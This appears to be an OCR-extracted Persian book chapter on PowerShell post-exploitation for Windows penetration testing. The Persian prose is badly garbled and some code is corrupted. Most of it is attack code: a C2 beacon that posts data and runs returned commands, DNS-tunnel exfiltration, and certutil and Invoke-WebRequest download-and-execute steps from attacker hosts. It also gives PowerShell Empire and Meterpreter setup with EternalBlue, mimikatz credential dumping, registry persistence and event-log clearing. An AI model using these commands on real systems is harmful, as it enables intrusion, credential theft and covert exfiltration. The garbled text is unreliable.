POSE- Jsb 15 (lazles bangs (sloaiyl53 j5bo & ctnmsgs B 5 4iad 105 oy asbiy () S POWerShell
055 oo 1,8 soliiwl 5,90 C2 sla JUIS olx! ¢!, Exploitation

Cmdlets for network communication

sl U sl 5 e0ges pdy Sl ) (>, Gloyg,m b bLS,I a5 ams oo @l 1) Sl e0s PowerShell

w5 Sl gy b Jelss sl ol o 1) INVOke-RestMethod jgins Jie gl 0uS oo Jugs 1, C2
WS Az gl )y Jle 40,5 oolaiul

5> anomalous behavior
& employing encryption inspection

@ Securityworld.ir Luo 63l 9lid jol 6383 S iy



ES_PJ 3965 G (5l g Sl ygb b oulubl @

SECURITYWORLD

SC2Server = "http://c2server.snowcapcyber.com"

SPayload = "Get-Process | Out-String"

# Sending data to C2 server

Sresponse = Invoke-RestMethod -Uri "SC2Server/data" -Method Post -Body

SPayload
# Executing received commands
Invoke-Expression Sresponse

S oo Ll ks jo 1y (8L

Scripting for payload delivery

oolawl > 5wl 5l oy slassly sl,>l g o5lils (sl PowerShell slace, Sl 51 cdél ylaxloe
DS Ll T g 00,5 0glils 1) agky oSG wilgs co S ;] S5 55K a5 amd oo ylid 5 Jlie oS o

SC2Server = "http://c2server.snowcapcyber.com"

SPayload = "Get-Process | Out-String"

# Sending data to C2 server

Sresponse = Invoke-RestMethod -Uri "SC2Server/data" -Method Post -Body
SPayload

# Executing received commands

Invoke-Expression Sresponse

)QWng) ‘) 019“3“5(50 &5‘“‘“5 C2 )9 )| ‘) u).‘z.a Q}L.: k&’ PowerShe” w)iw‘ ‘9-.’.)L;'“‘ u.,l)o
S o 1>l ooy Compromise

Encoded payloads to evade detection

Baseb64 LS)‘K}*") )" JLA 6‘)-5 J.MSGA G)fo) ‘) Sg> Gl.a:ojl,,g: ;,J.é‘ uLo.>L¢(o ‘LS:LM:LM )'| )|).é LS‘)'?
WS ax g p Jlie 40,5 solitul O yme sl Sl (40,5 roe Sl ()l o0

SC2Server = "http://c2server.snowcapcyber.com"
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SPayload = "Get-Process | Out-String"

# Sending data to C2 server

Sresponse = Invoke-RestMethod -Uri "SC2Server/data" -Method Post -Body
SPayload

# Executing received commands

Invoke-Expression Sresponse

odds oliS 50, Olygiws 5 S o oliS e, 1), Basebd L ool (5,105 50, osk SO Cag Sl ¢ Jlio ol o
S o 1,>1 1, PowerShell

Dynamic code loading with functions

PowerShell &lgs AS (6,135,L aladl> 1o (5,18 050 5l e Job 501505 Ligy & ygo 4y 0iSles o ezl

# Define a malicious function
function Invoke-MaliciousCode {
# Malicious actions here
Write-Host "Executing malicious code..."

}

# Call the malicious function
Invoke-MaliciousCode

POSt- Job o alaii ,» 0 wilgice 45 WS oo cuyw o ytee Sl b 1, cnll o Sl @50 ol o
Sgh Sle1,8 Exploitation

DNS tunneling for covert communication

Sl U a2 o o5l Hlezlps 4 5050 (pl g 5,5 eoliwl DNS 53 bg5 sl o)l o |, POwerShell

20 oo Hlid [y DNS (g5l Bg5 ool g, SO 5 Jlie .aisS sbol case Lo )|

SC2Server = "malicious-dns-server.snowcapcyber.com"
SDataToSend = "Data to exfiltrate"
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# Encode and send data via DNS

SEncodedData = [System.Convert]::ToBase64String([System.Text.
Encoding]::UTF8.GetBytes(SDataToSend))

Resolve-DnsName -Name "SEncodedData.SC2Server"

el Lol sl DNS (slacaulss ) 5l 5 035 o 5,135 5, |, baosls PowerShell o Sl Jle ol 4
Living-off-the-land techniques

5 QS eolatul ©yse Blaal gl e S5B Glaylnl 5l B aas e ol ezl 4 PowerShell
aiSs lle a 1y ololes
# Use built-in tool (certutil) for downloading payload
certutil.exe -urlcache -split -f http://malicious-server.com/
malicious-payload.exe

# Execute the downloaded payload
Start-Process -FilePath "C:\Windows\Temp\malicious-payload.exe"

syl 5l eoliiwl § oS o soliiwl sglu G s5bls (slp a0y certutil Usls 1l 5l amloe (Jlo ol o
JLas o Post-Exploitation Jsb ;0 C2 g3l ool sl 0,5 aen )5l ax> 5 PowerShell l;=>|
s e (G Gtz fge (RS g lelid sl pladlae sl laaddge () S p0 a5 Glexles
locylejlos es98 (sl Slaladl sl,2l 5 5,18, Lo 5,25 54 PowerShell slaclls o)l .ol
Post-Exploitation al>,. ,o PowerShell , e C2 cdlas ply jo 1) 045 (5 pdsBllasl aslys
IRCEX R L]

Using Empire for C2

slacab s 4 a5 el Post-Exploitation 54> ,o 5L s w4 ,l> o PowerShell Empire

el 00,5 oy Cangummo 30,8 oo g 5T 3585 (po 0 395 0,15 Ao
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An introduction to PowerShell Empire

&l APT slag )l (o3le 4l 51, a5 ol Post-Exploitation oy ,l> < PowerShell Empire
Gl anwgs LB 5 Vsile paily SO 43l,) gl PowerShell 51 1l cpl.cad ons ol el olaasi
LS oo oolainl ezl el Olles

Installation and setup

1S 9,0 |, POwerShell Empire s3lailel, g coas J>l 0 auns o5l da Jle oy 5l 5

# Clone the Empire repository from GitHub

git clone https://github.com/BC-SECURITY/Empire.git
# Change into the Empire directory

cd Empire

# Run the setup script

./setup/install.sh

S gslail el | EMpire JgwsS ccwas 3l e

# Launch the Empire console
.Jempire

g bl atsly Jobss calizee sl gsle b &lgs o yg5lpl a5 ol> wod oo 3L EMpire JeusS IS ool b
S ga,5s C2 6l |y e Listener

Listeners for C2
sl HTTP Lol Listener <G auls .ouS oo oolatwl C2 sla JUIS slw! sl Listener ;| Empire
p,.,..f

# Within the Empire console

listeners
uselistener http
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set Name http_listener
set Host 0.0.0.0

set Port 8080

execute

a3 o o5l (cas Compromise slapivaw) b Agent 4 5 wiS o oulas |, HTTP Listener < !
QS 1,8, bl Empire jq,0 LG
Generating and delivering payloads

DS o Jos oals COmpromise ;o slepiwaw ;0 Agent lgie 4 a5 S o oy slessls Empire
DS e L8 bLS T EMpire 5,0 L e Agent .l
# Within the Empire console
usestager windows/launcher_ps

set Listener http_listener
generate

aiile alizee sl e, ok 5l 1 Ssk ol Lot S oo o5 PowerShell as oS sskoy oSy o5 oy

20 oo b9t Bad e 4 CuglnST L Siind

Executing commands on compromised systems

S o L3 p EMpire ;g m 4 Jlail o wd Lzl Bas g S5 (55, p 9ky &5 (slKin

# Within the Empire console
interact <agent_ID>

# Execute a command on the agent
shell whoami

oas Compromise wieew ;0 ((Jad 0,5 Sbsb 0,50 cpl 10) eolws Hlo,d o (gl sasms ylas ol
Post-exploitation modules for advanced tasks

el a8 i Oldee sl Post-Exploitation sla Jgile 51 slos S acgome Jolis Empire
oS ooliiul s e 5l o Credential zl 5l sl mimikatz Jgsle 5l ol
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# Within the Empire console

interact <agent_ID>

# Load the mimikatz module
usemodule credentials/mimikatz

# Run mimikatz to extract credentials
execute

Exfiltrating data

Josle s o &l sas Compromise slapiwaws ;i bosls zlsuwl ¢ly 1) sl Jgsle Empire
20,5 ool 3,90 oS )0 o0 0 w33 slmosls 1wl sl oles oo |, powershell/clipboard/paste

# Within the Empire console

interact <agent_ID>

# Load the clipboard exfiltration module
usemodule powershell/clipboard/paste
# Run the exfiltration module

execute

Ak ples slacols Wl o g5l S aigS> EMpire Jgsle SO 51 oolanwl L aS aao oo lid ol
&S 7yl Bas i 5l 8y pcadS Slgioe

Web drive-by attacks

O 5 Slegs Sl 5l g aums bl |, Web drive-by attack a5 sas 1) oKl ol o511 4 Empire

Jog5 s Empire 5o 9,0 05 S g5l ol 51 Jle L] o .0iiS oolitl g j95m (59, 2 0ad Slbye

el 00 00,91 Bad G 4 e S5k

# Within the Empire console

usestager windows/launcher_bat

set Listener http_listener

set OutFile /var/www/html/malicious.bat
generate

(e pewid u)yo)bdfdustsa ».b.]y BAT Jélﬁnjaj‘.\.aftso ngb.,lol) |))5).w usc_{.’u‘)j.s.m.) u.a‘
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Evading antivirus detection

Sl oo LSS B,k 5l wgpg (B e s Gl 1, sleco Ll PowerShell Empire
il o oolo ylzs PowerShell cos Sl o (40,5 e anlsl 4o 065 o 2l 8

# Within the Empire console

interact <agent_ID>

# Load the obfuscation module
usemodule powershell/obfuscate

# Set the script to obfuscate

set Script 'Write-Host "Hello, Empire!"
execute

S5 0055t sl EMpire gile e Josle 5l ailgi o oilnl G aisSz o5 ams e lad Jle (pl
QS solazwl PowerShell sl e Sl
Dynamic scripting
w1y Lo Sl B aas o o5l baygilpl &0 g oS o Sl Ly <us Sl 5| PowerShell Empire
# Within the Empire console
interact <agent_ID>

# Run a dynamic PowerShell script
powershell -Command "Write-Host 'Dynamic script executed'"

Slpiwaw 9, p o)lbw PowerShell sleca ol shal sl Shg cpl 5l ailes w0 laygsl ]
QS oolawl Post-Exploitation Jsb s sos Compromise

Defensive measures

228 ool PowerShell Empire slac e pals § ololis gl 598  cumel Sloladl 5l jledloe
oo sl LU abis 5l clisl=e sla > ol 5 Application Whitelisting sl ol g5l ool

Wlgs oo 55 eloim] pwaige sl SIST aseis gl ol sl ekite sl slo g0l .ol

S Cugas |y gls
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223 0 05l el laasie 4 45 ol Post-Exploitation g8 s> ,l> S PowerShell Empire
b iy Slaagd plp p0 1) 095 Slapiass 6 ndy Sl g 0isS G5lo 4t 1) (HBly slis lag L U
5L rizmen S oo mal 8 S5 St g jo B o Sl e Jlnl EMpire o Jl> s s bl
S50 S o a1 Glodory D> ux ol jo il gl (698 £l Clldl gl 4 bo oL
Sl Casal Curog b ol (5900 sl (laasin 5 ledlae sl PowerShell Empire slac L

AUS ool Jood Jl j0 Dlasaed b agzlse o 1) 045

Using Meterpreter and PowerShell for C2

Slp s =5 5 PowerShell b of oa Metasploit o> o aiei 08 5ol S Meterpreter

Lo g ol sl PowerShell |Ls s 1, Meterpreter ;| colicw! K5s%> sl jo aas o 41,1 C2
3,5 wules ) ool COMpPromise slopiuwaw g5, » J,u8

An introduction to Meterpreter

&l glp osks ool .cwl Metasploit 4> > ,o Post-Exploitation ssL, <. Meterpreter
oo 5l SOl oo >,k sl COmMpromise slapivs J 08 g Joles gl aied )08 slo S5
Sleladl gl 1) auseas a5 caol aladl> o ol Gl LUl 5 s pd sbs Meterpreter a>g LG
S o 55 Gl (e el

Setting up the attack environment

oS ol adsl Jaol Sy (6l Metasploit ;! solaiw! b lass G ol (0210 o o Jlio 4y assol 51 L8

# Open a terminal and launch Metasploit
msfconsole

Exploiting a vulnerability

ww‘)‘uw‘oo;s’tuu st.’l.o.: Slaal 6‘)” ddﬁw&)b ‘) Lg).n.bwui “5"["""50")5"“‘"[""
13,5 audlgm ooliiwl jang wble SO slail Jas 4 sl EternalBlue

A
h
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# Within Metasploit console

use exploit/windows/smb/ms17 010 _eternalblue
set RHOSTS <target_IP>

exploit

Utilizing Meterpreter

oolizial J 5 5 L3l o ly3 51 sl Meterpreter sl als o v Cushons| coibse b1, Gom a5 olSin
.0.3.5
# Within Metasploit console
use payload/windows/meterpreter/reverse_tcp

set LHOST <attacker_IP>
exploit

Post-exploitation with Meterpreter
dlo S o o2l,8 Post-Exploitation slaculles sly 1) laeobls 51 slos s ol Meterpreter
w5 son bl by 5l (>
Filesystem manipulation
51 BB oglils § dualie 4 ygm 51 b ogbT « b (s SO 0,5 Caw s sl Meterpreter ;i aslsl o
13,5 pudle oolainl jg w4 Bun
# List files in the current directory
Is
# Upload a file to the target system
upload /local/path/to/file.txt C:\\target\\path\\

# Download a file from the target system
download C:\\target\\path\\file.txt /local/save/

System information gathering

5 Sysinfo wljgiws 5l solatul b Baa piew 090 By sl Meterpreter ;| iy o L
s s Sl a5 0 e sl | Laide (555 Ol jgis ol oS colizl getsystem

:AJSGAM‘) Bud
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# Display system information

sysinfo

# Gather information about the target machine
getsystem

Privilege escalation

Slaiiy soiie s Sloe 3l a5 oS oolainl oo Jssle o 1354 sl Meterpreter ;i wils oo Lo
el ol )0 w45 0,8 pules oolauwl Jgsle (6,135,151, Meterpreter ;I L caalsl o .0iS

13,00

# Attempt privilege escalation using known exploits
use post/windows/escalate/getsystem

Integrating PowerShell for enhanced capabilities

oS eoliiwl Meterpreter o PowerShell ;| olss » Post-Exploitation slacclls zoljsl ol
S pdy Gllasl 5 gailase Slles gl PowerShell oo s slas Sloe 5l oo oo el Lo s gg040 oyl
f“"’:S OOL&:.»A‘

# Launch PowerShell within Meterpreter
powershell_shell

w2,lo Meterpreter s PowerShell b6 L G ¢S]

:PowerShell L ,5iws !>

# Execute PowerShell commands
(Get-WmiObject Win32_ComputerSystem).Name

S e 2bsL Meterpreter o PowerShell sl oslawl U1y SanlS ob Jio o0

1S 1>l g ogbls |, PowerShell slacos Sl
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# Download a PowerShell script

Invoke-WebRequest -Uri http://attacker _IP/script.ps1 -OutFile
C:\malicious_script.ps1

# Execute the downloaded script

C:\malicious_script.psi

sly>l g osbls sl Meterpreter ,o PowerShell ;1 g5 o 5> a5 aas o olis YU &l jgiws
2,8 oolaiwl e (sl S
Obfuscating PowerShell commands
Olygws [Meterpreter ;s oS o pae |, PowerShell ol ygiuns cdel laslpo  ololss 51,18 &y
S 5SSl (il 1) Ldos g 40555 B oges mtee (3195 o0 |, POWerShell
# Obfuscate a simple PowerShell command
powershell -enc

JABzZAHMAaQBtAGUAbgBOAC4AbgBuAGUAdwAtAGWAZQBUAGEAcwWBrAGUAbg
AuAEwWAbwBNAGCA

Qoo o slis basebd ¢ 135 5, 5l eoliiwl b1y (g5le ape (Jlo o)

Using PowerShell for C2
LLs | G sl Jalis ol .S (59lS C2 (sl Meterpreter ,s PowerShell ;1 solain! b ol 9]

>l )5 9 S g3, PowerShell Empire asul (5,8 L .ol Bae i 5 ploe (o (o810

0eS >1 g 05lils Meterpreter ;o 1) o ules oo el 00

# Download PowerShell Empire

Invoke-WebRequest -Uri http://attacker_IP/powershell_empire.psl
-OutFile C:\powershell _empire.psl

# Execute PowerShell Empire

powershell -ExecutionPolicy Bypass -File C:\powershell _empire.psl

sly>l g o5bls sl PowerShell ;1 wils o Meterpreter 43> a5 aas oo olis 3,050 (5

A0S oolaw! ):A.J.B)...w.: le.:bg}%)l}
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Defensive measures

Sleladl b laylejle S o solaiwl PowerShell 3 Meterpreter i as e ol 0 gl 4lp

oS Ll 1 geb il

sole yue YLlas b Sl slagSl Slulis sl aSis o)l slal5l 51 :Network monitoring e
AuS solawl

slecdbd 408 Sgaue 5 slols glp SLL akais cladl=e sla > ol, 51 :Endpoint protection e
AS oolaiwl O y2re

sgazwe |, PowerShell slacos Sl aos 5l 5lxe e sloasli » sl,>1 :Application whitelisting o

9 0iS owyp b plocawl (lp |y lgiaew olate b 4 :Regular audits and patching e
aS Jlesl oas aslis il oM alS 1y |, olaalog

Gl s, 00,5 SIS L arslial gla L 5,5 5L @l 5 0e 5 o8 4 :User education e
a2 Shigel S gSie

Jsb 50 plexlee cavs jo axg5 LB ways S PowerShell 3 Meterpreter o5 5 aods j5b «
alS sl laylejle 6lp Fige (2B Blaladl 55,15 4 g lay] o Slee 5,0 .ol Post-Exploitation
u_i.d‘).’).»u)LE.: cLipr.E.a.A gs"*"))ﬁ)" W‘W)Luu LRV N) ALQJLQLQM k}.«.«}l.’.L:.a.:)A u‘).’a}

el (5970 iy Bllanil (il Conig i gl )05 (5gel 5 4
Summary

E9r5 b 20,5 oy |y 3585 Cans die) ;0 C2 (gl PowerShell sl oslil oouors 059> «Juad ol ;o
ond >hb el o pae iyl sl a5 o 1l PowerShell s> a8 435,5 () wgoby slo i
PowerShell 4l5gs coale » Jad (pl 0,5 18 colatwl 550 Hleaxloe 5 ledloe lawgs &lgs so e
G g died 395 (6 yuli ol Sloladl Cu g Jlos 4 a5 Sladlas gl aied 03 Slls G - wiS o 05T

Obedss sl 598 M

aS ol opl pladas a5 cunl sl laaste glp gaieds )] an Jad ol jo oals &l uils

iiler JolSS Jlo 53 5 mbo Soal Sl iz 5 gl pa3 S,
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Post-Exploitation in Microsoft Windows — 20 juw Jad

Post- aiei a8 4,08 4 Microsoft Windows lo>. ,o PowerShell ;| colacw! b« Jad ol ;o
Lias > o ol 5l Glezlge Ban a5 csl Sl (slal> . POst-Exploitation . s » -« Exploitation
S350 e b o] s S5 &y (o ] g 0| SN gl ] 5 st s 8,3 S
GSEwd Gy SaSed )0 Glalem lp ) b iy lastass L PowerShell g58 glaco L |
5,5 Lateral Movement o s zaw 53,90 5l 0S oo owyp ool 50,5 ety 5 s
Slezlpe 5 pledlae 51y 0,5 aad I3l dcgame SO lsre 4 PowerShell s, Bis> g leesls 7zl 5eul b

1wl 000! Jad ol 30 w0 0550 ol Dlegsge 3 0

e The role of post-exploitation in Microsoft Windows on a penetration test
e Post-exploitation on Microsoft Windows

e Profiling a user with PowerShell on Microsoft Windows

e File permissions in Microsoft Windows

e Using PowerShell for privilege escalation on Microsoft Windows

penetration test The role of post-exploitation in Microsoft Windows on a
599ig Cdlwg,Sole slalasme a5 olBid g 4 el 3485 Cd jo Sb> al> 0 S Post-Exploitation

sy 903,85 395 Sl by s SO 4 Cadibge b ploe S aSS) 5l ey Al o (0l a2 0 )8 G |
Vb o J oS Laa> Post-Exploitation a> e Job jo Lol Gus ams oo F) 9] Cawd 4y jlre s

el il GlpaslSo sl g dies ;) Sledlbl (6551 paz g (o ywd

Sapmsille g Jole pusmw (g lore S50 Gaang Cdlug Sile 10 ()0 posee 5l e e Sloas 51 (S

S ]y oriler Sy oS Al gy (o8 4 e (237 il el o005 sladaze ol Gl il
IS 5058 s a (8l oo ymss hans 50,V el 500 plazlps Bu S o s (G0lS 55 5
ol molo  ig

L Ygore jooins sl 2ol POSt-Exploitation Job o o jiie Gas G oo yiws ghaws 50 2L
Lo s ] 3l ool ils slice glajomo plaS j2 a5 0iiS o I8 Jslite 6 )5 slacolu

Wbl Al pw s e laosls a4y weo o o3l Hlazlps 4 o s maw 00V 6l

Mimikatz asle ola )|yl oS (6 K 1) piam o gan S b oS cuad o5 sla,l33le 5
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s 0 Vb g A0S o eolatul o] 5l gzl Sl | alibl> ,o suls 0,53 sle Credential | S j5b «
S (oo St 1) (oo o

JLis 4 lexlee .ol Post-Exploitation sl> sleacs> 5 S0 S Persistence b s ol Lo
St adgl CoslenST 1 o S eals COMpPromise slepivaw 4 pglie cwyws 5l ol
solitul (5 sl sbm! sl Ysans (6 yimnz, wl>Mol L Scheduled Tasks Backdoor wils eSS
wlgioe plizeen pzlee wsi Patch 5 aas adsl 6099 abaii ST s> a5 S oo (e Gl g0
S oy oy 355 Bue 4 05lg0

a5 e .ol Post-Exploitation Jsb ,o wge S5 SO ools z4,5 L Data Exfiltration
b i slaosls (oime CuSlle aiile (pulix Sledbl Conl (Sen g oo 450t Sy 8l Lozl
5 Covert Channel ale> ;i il slacSiss g a5l .ases 18 Gus 1) pieaw 4 09,9 Credential
S5 o 03liiul (4 sgw slul ey baosls g 5 (sl w0t (5,138 50, Slbls )|

Sy 6L ezl Lawgs soliiwl 0,90 sl SiSS 5l b sl lawse PoSt-Exploitation Jsb o
aiile ool 5l el 508 (slaens oS ool diol> 4y 2oSTy slacells o glis 2503 b, sl
Slejle SUlg g oS o oolanl ad iy ool Slasagys s5lwans sl Metasploit L Cobalt Strike
A e JL.’“LA)’T odzrn O ex 4y Frwly 5 olwlids gl !y

3,90 0 Slodbl (5,5l pex lexlpe Bun 544 0 Reconnaissance Jslu ;.5 Post-Exploitation
il 3,50 30 AlST (655 praal 4y DUl el cilizio ()57 g et (185 5 0] (5 Lo aS
S o SS Lateral Movement ¢ jis el

59909 Cdlug Sl (sladaa 3 saie 3985 Coud 0 Sl al> 0 S POst-Exploitation oMz b o
Sl Gl el sl plolid g o o3ls zg )3 g yluly com s ghaw (50,90 Jols (s (pl el
el Sgne sl bl alolid 5 lojle (Sl Candy 990 50 el sla i aill o (HBly Lo
Post-exploitation on Microsoft Windows

Jsb o el wdlug Sole bawy ablarwy dlwg g died 08 wwgidely by o PowerShell
Sllasil 5,5 o 8 eolatwl 850 59005 Cdlug,Sole p,a1l, 4o Post-Exploitation slacJles

Sl sl al) ol dece Sl § Oljgiws gzl Ulg g 59ang Glizl b pleol ws iy

el 038 s olazles
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PowerShell Empire a5 o Jlozy Post-Exploitation ;i as aijls 045 olooss )l umes

Post- slacclas plil gl 0 |, L g5k g baylpl 5l wg cinls a5 el PoOst-Exploitation wgx > G
sas 03,9] POst-Exploitation cilisw sla,ls” sl PowerShell 1 solainl ogms 5l sladiges aslsl jo
Privilege Escalation

WS oo oy |y s S oyt mhaws 5 POwerShell

whoami /all

Qs oo slas | oyl Slilanl g 09,5 j0 Cogac alex 5l Jdad IS Sledbl jgiws oy
Credential dumping

Sheolaiwl ;5 Jlie 003 oolatwl aisl> ;I Credential o505 Dump sl ol o PowerShell ;|

b Credential gl sl sl wsene 3l Sy a5 wms e ol |, Mimikatz Jssle

# Load Mimikatz module

Import-Module .\mimikatz.ps1

# Run Mimikatz command to dump credentials
Invoke-Mimikatz -DumpCreds

Credential zl ze! sl 1, Invoke-Mimikatz 4 ws o Import |, Mimikatz Jgile YL o Sl
&S o |yl adadl> 5l s

Persistence

solizwl sas COMPromMIse piwaw S 50 s kb L Persistence sl sly ol o POowerShell

e ,o PowerShell oo, Sl o slizl @l |y (s 699)5 o 25 S Sl (e lgie 4505

».\.*5(50 asls! NOW LS)""‘" o‘)
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# Create a registry key for persistence

New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
-Name "MyScript" -Value "powershell.exe -ExecutionPolicy Bypass -File
C:\Path\To\MyScript.ps1"

0)15 ﬁ)lf AS)L,@ 1) PowerShell w)i..J S5 Lglj?l aS J.JSGA NN S > LS S W)S\..)l Qil
.».\35‘50 .“ 'Q}M"S" - .
Lateral Movement

el Sl G yolateral Movement iy 1, o1 jg0 ol 5l @l ygiws sl,>1 sl PowerShell Gl

1S oo oolal ja0 ol rile SO 40 j5tws o sl > sl PowerShell Remoting 51 5 Jle oS o

# Enable PowerShell remoting on the target machine

Enable-PSRemoting -Force

# Run a command on the remote machine

Invoke-Command -ComputerName TargetMachine -ScriptBlock { Get-Process

}

Getr) j5iwd o o g Sl 00 Jlad Ll 5,90 reile ,o POwerShell Remoting (Jiw ool o
- bl 5l e emdlet 1 g lew a5 cell S8 a4 a3Y 0gd oo Il o (g9, y90 ol 5l (Process
BAd o (59, |y (o0lB j5iwd j50 0l 516 e so o5l el )by p) aisS o Slucas ComputeName

IRVELI e

Data Exfiltration

Sy, 5l (S 0sd solatul it oSS 5l solaiwl b eesls zg,5 sl 2l o PowerShell
odge iz ) Cam Sl el A5 b 3l o] ol g BASEBA (B 1o Laosls (508 o il

A co L I

# Encode and send data to a remote server
Sdata = "SensitiveData"
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SencodedData = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.
GetBytes(Sdata))
Invoke-WebRequest -Uri "https://attacker-server.com/upload.php"
-Method POST -Body SencodedData
ol Lawgs 45 59, a1y ] 5 00505 (5,105 50, Baseb4 I o |, SensitiveData ais, o Sl oy
S o Jl) 93 g0 J 55

Covering tracks

2w b Event slasog,g oMol b a5 B> b ) 995 (sla youe &lgs oo (uixen POwerShell
e oo lis |y e Event Log i 45 Jle .S

# Clear Windows event logs
Get-EventLog -LogName "Security" | ForEach-Object { Clear-EventLog
-LogName S_.Log -Entry S_.Index -Force }
53485 slacJled BT Bi> 4 e g9090 (pl 45 s3ges SL |, o Security Event Log co Sl (!
Dy o0
Profiling a user with PowerShell on Microsoft Windows

3,90 50 385 Sledlbl (55 aex> Jols Microsoft Windows ,s PowerShell b ,,ls < Profiling
plol 1) 3985 slacus a5 sl laasie glp ol d pl sl )15 e Ol § lajgome dacadled
0955 3 oddiges 1) 10 ol pao Hlws et (5 pducaw] 3l ooliinl cgw JLis @ aS Slexle 5 ains o

ol 0 08,591 j90ing i 10 )5 by sl PowerShell ;i oolaiul

User information
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# Get information about the current user
Get-LocalUser -Name Senv:USERNAME

# Get group memberships of the current user
Get-LocalGroupMember -Group "Users"

) el asile oo S alex jlaiS co Gl 1) (dad oad o)l )5 4 gy pe LI Zog Sl
09,5 ) Cugas 5 JolS ol

Running processes

ol PowerShell .cul oyl sl >l Jls j0 55 a5 cul sloanl s S s Jols 2w ol 4o Profiling

# Get a list of running processes for the current user
Get-Process -IncludeUserName

Do o Bl 0nTy8 o b s e 6,0, s ales 5l o] )8 550 0 Sledbl jgiws oyl
Network connections
!y dlg o PowerShell ool )15 lawgs oo sl et SYLasl wy p Jolis (25w o0l 4o Profiling

139 ool Lol 4I5S S gy an T8 lalo 0,50 j0 Jled aSiis wYlasl 4y bgs yo Sledlbl z] Suiul

# Get active network connections for the current user
Get-NetTCPConnection -OwningProcess (Get-Process -IncludeUserName |
Where-Object { S_.UserName -eq Senv:USERNAME }).1d

AS oo plelin 1) dxd )5 a4 slete Lng;.ﬂ)_é L lag e Jled oSl OYlasl con Sl gl
File and directory access

:.)9.&3 oolazw! .))‘b gu).uub L)T Ew ).3)[5 as SJLQ)j.AS)JL) 9 L@J)L‘B uow w.u.l 6‘).3 ..\.)‘9.:‘54 PowerShell
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# List files/directories in the user's home directory
Get-Childltem -Path Senv:USERPROFILE

LS o Cand 3,15 3925 IS HOME (5,555 plo 0 a5 1) Slas,e55 plo g o b1 jeiws oyl
Installed software

w23 o ] 5 (69,5 Gloasli 5 ol 090 1o 1) oo s
# Get a list of installed software for the current user

Get-WmiObject -Query "SELECT * FROM Win32_Product WHERE Vendor =
'Senv:USERNAME'"

Ao oo lid |y e 5L dad pe ool coal gla, 38l 0 5 51 cad Hetws oyl
Recent activities
o Event Log ;! uilss o PowerShell .cul ,)l5 .31 slacudlas Sy Jols isw opl 4o Profiling

57 9 o e sbaolg) ple g et i ple )5 595 plKn 4 by o DMLl (5551 roz sl
13,0 35 5 p 5 Logout 4 Login (g, ) oS .0sS

# Get recent security events for the current user

Get-WinEvent -LogName Security -FilterXPath
"*[System[(EventID=4624 or EventlD=4634) and EventData[Data[@
Name='TargetUserName']='Senv:USERNAME']]]" -MaxEvents 10

gl 1) el Cbge 79,5 5 09,9 diile ¢ b IS 4 bgsye 3 sla Security Event e Sl ol

Sl ygiws 3l eolexwl Jols Microsoft Windows s PowerShell b ;)5 < Profiling caods j5b 4
Gla,ls, b S o SaS el Glansie 4 gels 3,505, ol el 55 3 slaclad 5 ond

S oLl 1) esdll el Dl e g 00,5 S5, T, w8
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File permissions in Microsoft Windows

ool (el 25,555 nls 5 Lo bl ay (g yiws S5 50 (soe JAE ey Slug Sube jo LB (slajexe
Olaazie i Ol pde Slp odigy slajsame (5 0ws 5 Sy pae 0558 (il Wils (S )LSG g ool
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Viewing file permissions

Sleigme zl izl oge 1y Jlie i csalice |y 09250 (5,955 wlo b b (slojemme ilgs oo PowerShell
e oo ol |y B G gl b

# Get file permissions for a specific file
Get-Acl -Path "C:\Path\To\File.txt" | Format-List

&S oo oolaul sals Latuie b1 (sl (ACL) s yiws J S Cond gl y5eial sl Get-Acl 51 cog Sl oy
S oo il Gialed JB (e d 0 e @Uls> Sln Ly 2o e s
Granting file permissions
slacl ogm 5 Jlie .0ssS Lacl baog 5L oyl IS a0 1y cols slajame o5l oo 0B 1, ol IS PowerShell
e oo Hlis el )5 S a >l g ailes sl jere
# Grant read and execute permissions to a user
Suser = "andrewblyth"
Sfile = "C:\Path\To\File.txt"
Spermission = New-Object System.Security.AccessControl.
FileSystemAccessRule(Suser, "ReadAndExecute", "Allow")
(Get-Acl -Path Sfile).AddAccessRule(Spermission) | Set-Acl -Path Sfile
L allow 5 (ReadAndEXecute) jsme g55 )5 a5 0iS o ool oz s yiws (gl SO oo Sl (]
Modifying file permissions
00,5 adlol oo 3 Jle .l yoas b8 PowerShell 5l oolacul b B j0 8990 (slojeome

a3 o (LS 1) 09290 )5 4 (g sl jema

@ Securityworld.ir Luo 63l 9lid jol 6383 S iy




ES.PJ 3983 s 5y i yoly b ol @

SECURITYWORLD

# Add write permissions to an existing user

Suser = "AndrewBlyth"

Sfile = "C:\Path\To\File.txt"

Sacl = Get-Acl -Path Sfile
Sacl.SetAccessRuleProtection(Sfalse, Sfalse)

Spermission = New-Object System.Security.AccessControl.
FileSystemAccessRule(Suser, "Write", "Allow")
Sacl.AddAccessRule(Spermission) | Set-Acl -Path Sfile

O3B SO S e Jld e |, Protection 4 Inheritance wis o JbjL 1, (Jxd ACL e Sl oyl
Revoking file permissions

lgs slaigmme Bi> 0956 5 Jle 0,5 soliwl b1 slajeme i b g3 sl )55 o POWerShell
e oo ol |y el )5 Sl

# Remove read permissions from a user

Suser = "AndrewBlyth"

Sfile = "C:\Path\To\File.txt"

Sacl = Get-Acl -Path Sfile

Srule = Sacl.Access | Where-Object { S_.ldentityReference -eq Suser
-and S_.FileSystemRights -eq "Read" }
Sacl.RemoveAccessRule(Srule) | Set-Acl -Path Sfile

B> 9 LS’L“L"“ ACL )‘ o o.b"g:; 195 g ol um)a)ls L§|ﬁ 09290 (o yewd QS"b ¢ w)gw‘ UJ‘ 59
D9 o0
Using PowerShell for privilege escalation on Microsoft Windows
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Checking the current user’s privileges

Xlg oo PowerShell .coul poe [l (Jad 1,l5 Slilitel S0 ¢ o s mhaws 50 Y (sl (o5 51 LS

109 oolatwl ded )15 0590 j0 .80 Sledbl Sb3L Iy

# Check current user's privileges
whoami /all

.MQGA dj‘)‘ gs“‘")“"‘"oéla""ﬁoﬁjf 39 w},a.cil.o.})‘ culxé ).:)ls Sy90 4O LS‘OQ).:.AMf Sledb! )9:.,..:0 U"‘

Enumerating local administrators

ololis Sl PowerShell .col jlewl ilidl o S ie o8 G s Local Administrator o lulus
1S o o2l,8 | o Local Administrator

# Get members of the Administrators group
Get-LocalGroupMember -Group "Administrators"
Y alilel glls a5 Slp 5 ololis & g aiS o Cawd |, Administrators o9, slacl jgiws oyl
S oSS At

Exploiting unquoted service paths

